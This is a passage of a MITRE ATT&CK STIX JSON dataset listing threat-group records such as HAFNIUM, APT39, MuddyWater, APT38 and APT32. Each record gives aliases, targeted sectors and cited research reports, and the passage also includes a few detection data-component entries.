2021.","url":"https://home.treasury.gov/news/press-releases/sm774"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T20:45:37.568Z","name":"HAFNIUM","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)","aliases":["HAFNIUM","Operation Exchange Marauder","Silk Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group","Mayuresh Dani, Qualys","Harshal Tupsamudre, Qualys","Vinayak Wadhwa, SAFE Security"],"type":"intrusion-set","id":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","created":"2021-03-03T19:40:47.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0125","external_id":"G0125"},{"source_name":"Silk Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Operation Exchange Marauder","description":"(Citation: Volexity Exchange Marauder March 2021)"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:59:52.392Z","name":"APT39","description":"[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)","aliases":["APT39","ITG07","Chafer","Remix Kitten"],"x_mitre_deprecated":false,"x_mitre_version":"3.2","type":"intrusion-set","id":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","created":"2019-02-19T16:01:38.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0087","external_id":"G0087"},{"source_name":"Remix Kitten","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"ITG07","description":"(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"},{"source_name":"APT39","description":"(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"},{"source_name":"Chafer","description":"Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"Dept. of Treasury Iran Sanctions September 2020","description":"Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.","url":"https://home.treasury.gov/news/press-releases/sm1127"},{"source_name":"DOJ Iran Indictments September 2020","description":"DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.","url":"https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt"},{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"Dark Reading APT39 JAN 2019","description":"Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.","url":"https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764"},{"source_name":"Symantec Chafer Dec 2015","description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T14:59:08.071Z","name":"MuddyWater","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)","aliases":["MuddyWater","Earth Vetala","MERCURY","Static Kitten","Seedworm","TEMP.Zagros","Mango Sandstorm","TA450"],"x_mitre_deprecated":false,"x_mitre_version":"5.1","x_mitre_contributors":["Ozer Sarilar, @ozersarilar, STM","Daniyal Naeem, BT Security","Marco Pedrinazzi, @pedrinazziM"],"type":"intrusion-set","id":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0069","external_id":"G0069"},{"source_name":"MERCURY","description":"(Citation: Anomali Static Kitten February 2021)"},{"source_name":"Static Kitten","description":"(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"TEMP.Zagros","description":"(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"Mango Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"TA450","description":"(Citation: Proofpoint TA450 Phishing March 2024)"},{"source_name":"Seedworm","description":"(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"Earth Vetala","description":"(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"MuddyWater","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)"},{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"},{"source_name":"Symantec MuddyWater Dec 2018","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Object Access","description":"Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-26T16:33:33.984Z","name":"APT38","description":"[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (Citation: FireEye APT38 Oct 2018) and Banco de Chile (Citation: FireEye APT38 Oct 2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","aliases":["APT38","NICKEL GLADSTONE","BeagleBoyz","Bluenoroff","Stardust Chollima","Sapphire Sleet","COPERNICIUM"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","type":"intrusion-set","id":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","created":"2019-01-29T21:27:24.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0082","external_id":"G0082"},{"source_name":"BeagleBoyz","description":"(Citation: CISA AA20-239A BeagleBoyz August 2020)"},{"source_name":"Stardust Chollima","description":"(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)"},{"source_name":"APT38","description":"(Citation: FireEye APT38 Oct 2018)"},{"source_name":"Bluenoroff","description":"(Citation: Kaspersky Lazarus Under The Hood Blog 2017)"},{"source_name":"Sapphire Sleet","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"COPERNICIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"NICKEL GLADSTONE","description":"(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)"},{"source_name":"CrowdStrike GTR 2021 June 2021","description":"CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf"},{"source_name":"DOJ North Korea Indictment Feb 2021","description":"Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.","url":"https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and"},{"source_name":"CISA AA20-239A BeagleBoyz August 2020","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"},{"source_name":"Kaspersky Lazarus Under The Hood Blog 2017","description":"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.","url":"https://securelist.com/lazarus-under-the-hood/77908/"},{"source_name":"CrowdStrike Stardust Chollima Profile April 2018","description":"Meyers, Adam. (2018, April 6). Meet CrowdStrike’s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"SecureWorks NICKEL GLADSTONE profile Sept 2021","description":"SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.","url":"https://www.secureworks.com/research/threat-profiles/nickel-gladstone"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:30:51.062Z","name":"Transparent Tribe","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)","aliases":["Transparent Tribe","COPPER FIELDSTONE","APT36","Mythic Leopard","ProjectM"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"type":"intrusion-set","id":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","created":"2021-09-02T15:14:33.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0134","external_id":"G0134"},{"source_name":"Mythic Leopard","description":"(Citation: Crowdstrike Mythic Leopard Profile)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)"},{"source_name":"COPPER FIELDSTONE","description":"(Citation: Secureworks COPPER FIELDSTONE Profile)"},{"source_name":"APT36","description":"(Citation: Talos Transparent Tribe May 2021)"},{"source_name":"ProjectM","description":"(Citation: Unit 42 ProjectM March 2016)(Citation: Kaspersky Transparent Tribe August 2020)"},{"source_name":"Crowdstrike Mythic Leopard Profile","description":"Crowdstrike. (n.d.). Mythic Leopard. Retrieved October 6, 2021.","url":"https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/"},{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Unit 42 ProjectM March 2016","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Talos Transparent Tribe May 2021","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"},{"source_name":"Secureworks COPPER FIELDSTONE Profile","description":"Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.","url":"https://www.secureworks.com/research/threat-profiles/copper-fieldstone"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-11-07T19:45:00.000Z","name":"Container Metadata","description":"Contextual data about a container and activity around it such as name, ID, image, or status","x_mitre_data_source_ref":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","type":"x-mitre-data-component","id":"x-mitre-data-component--df508a43-65f5-453f-8b8f-4b5d64e60a21","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"File Modification","description":"Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Named Pipe Metadata","description":"Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)","x_mitre_data_source_ref":"x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T22:07:49.430Z","name":"APT32","description":"[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)","aliases":["APT32","SeaLotus","OceanLotus","APT-C-00","Canvas Cyclone","BISMUTH"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","x_mitre_contributors":["Romain Dumont, ESET"],"type":"intrusion-set","id":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0050","external_id":"G0050"},{"source_name":"SeaLotus","description":"(Citation: Cybereason Oceanlotus May 2017)"},{"source_name":"APT-C-00","description":"(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"APT32","description":"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"OceanLotus","description":"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"Canvas Cyclone","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"BISMUTH","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"source_name":"Cybereason Oceanlotus May 2017","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt"},{"source_name":"ESET OceanLotus Mar 2019","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BRONZE BUTLER","REDBALDKNIGHT","Tick"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Trend Micro Incorporated"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0060","external_id":"G0060"},{"source_name":"BRONZE BUTLER","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"},{"source_name":"REDBALDKNIGHT","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"},{"source_name":"Tick","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","source_name":"Trend Micro Daserf Nov 2017"},{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 